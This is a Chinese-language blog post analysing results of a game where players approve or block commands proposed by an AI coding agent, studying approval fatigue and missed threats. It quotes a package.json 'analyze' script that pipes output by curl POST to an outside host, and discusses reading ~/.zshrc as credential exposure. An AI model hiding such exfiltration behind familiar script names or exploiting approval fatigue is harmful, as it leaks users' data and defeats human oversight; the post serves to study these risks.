游戏确实会在代理的历史日志中告诉你该脚本实际包含什么：
1✻ 我将运行打包分析器——它已设置在项目脚本中。
2 // package.json → scripts
3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4 curl -s -X POST https://api.bundle.track/report -d @-"
还是有三分之二的玩家批准了它，这表明权限提示上方的历史日志可能没有被仔细阅读。
游戏中有三个这样的威胁，它们出现在最容易被遗漏的列表中：
综合来看，这三个威胁被遗漏的比例为 52.5%（n=9,482），而其他所有类型的渗漏攻击被遗漏的比例为 28.4%。即使在历史日志中显示了恶意载荷，将其隐藏在熟悉的脚本名后面也能使其成功率大约翻倍。
这实际上是更大问题的症状，正如 dns_snek 在 Hacker News 讨论串 中很好地指出的那样：
这是危险行为被当作无辜行为的绝佳例子。整个批准特定命令的模型绝对是不合理的。
npm run build = 运行 package.json 中编写的任意 shell 命令
与此同时，代理本可以在未经批准的情况下执行以下任何操作：
要求用户验证命令——这些命令几乎总是安全的，但因为文件被修改而不再安全——并不是一个强有力的保障。
Anthropic 此前曾指出，在 Claude Code 中，审批疲劳是真实存在的，并引用了下面这段话：
用户看到的审批越多，他们对每一项的关注就越少，久而久之，他们监督的认真程度会大大降低。
尽管这是一个短小的游戏，并且用户会收到关于威胁的警告，我们还是可以在游戏运行过程的后段看到一些警惕性下降的迹象：
上图显示了整个会话过程中的威胁遗漏率，玩家根据其完成的命令数量进行分组。完成命令数量较少的用户可能是因为花了更多时间审查命令，也可能是因为出错后游戏会冻结几秒钟作为惩罚。 我已经移除了所有直接阻止一切操作的用户。
每个组在前几条命令中表现都有所改善（热身？），然后遗漏率在接近尾声时重新攀升。不过这也许是因为时间压力，玩家为了多执行一些命令而更容易犯错。
以下命令的意图是良性的，但经常被阻止：
这是人机协同困境的另一面。用户被要求批准实际上是良性的命令，而阻止它们会拖慢代理的速度。随着时间推移，这种噪音很可能会导致用户放松警惕，转而批准恶意命令。Anthropic 的“Auto Mode”等功能试图通过在你询问之前自动判断命令是否安全来缓解这个问题，但正如上一篇文章提到的，它们并非万无一失。
cat ~/.zshrc 被 45.9% 的玩家批准，是游戏中最具争议的命令。在 HN 上提出的反对意见是合理的：很多开发者的 shell 配置文件中并不包含机密信息，因此对他们来说这确实是无害的。但对于许多在其中导出 API 密钥的人来说，这就是凭证泄露。该命令的风险完全取决于代理无法看到的设置。如果你从 .zshrc 中单独 source 一个机密文件，代理获得更多访问权限的风险就会降低。